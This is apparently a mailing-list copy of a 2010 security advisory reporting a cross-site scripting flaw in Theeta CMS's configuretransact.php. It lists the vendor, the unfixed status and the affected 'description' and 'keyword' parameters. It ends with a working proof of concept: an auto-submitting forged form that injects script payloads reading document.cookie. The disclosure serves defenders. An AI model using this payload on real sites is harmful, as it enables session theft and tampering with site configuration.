[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

XSS vulnerability in Theeta CMS



Vulnerability ID: HTB22487
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_theeta_cms.html
Product: Theeta CMS
Vendor: MN Tech Solutions ( http://www.mntechsolutions.net/ ) 
Vulnerable Version: 0.0
Vendor Notification: 12 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "configuretransact.php" script 
to properly sanitize user-supplied input in "description" and "keyword" 
variables. Successful exploitation of this vulnerability could result in a 
compromise of the application, theft of cookie-based authentication 
credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form action="http://host/admin/configuration/configuretransact.php"; 
method="post" >
        <input type="hidden" name="sitename" value="Demo Site" />
        <input type="hidden" name="url" value="http://host/"; />
        <input type="hidden" name="timezone" value="" />
        <input type="hidden" name="description" 
value='descr"><script>alert(document.cookie)</script>' />
        <input type="hidden" name="keyword" 
value='key"><script>alert(document.cookie)</script>' />
        <input type="hidden" name="copyright" value="2010" />
        <input type="hidden" name="status" value="1" />
        <input type="submit" id="upd" name="submit" value="Update 
Configuration" />
</form>
<script>
document.getElementById('upd').click();
</script>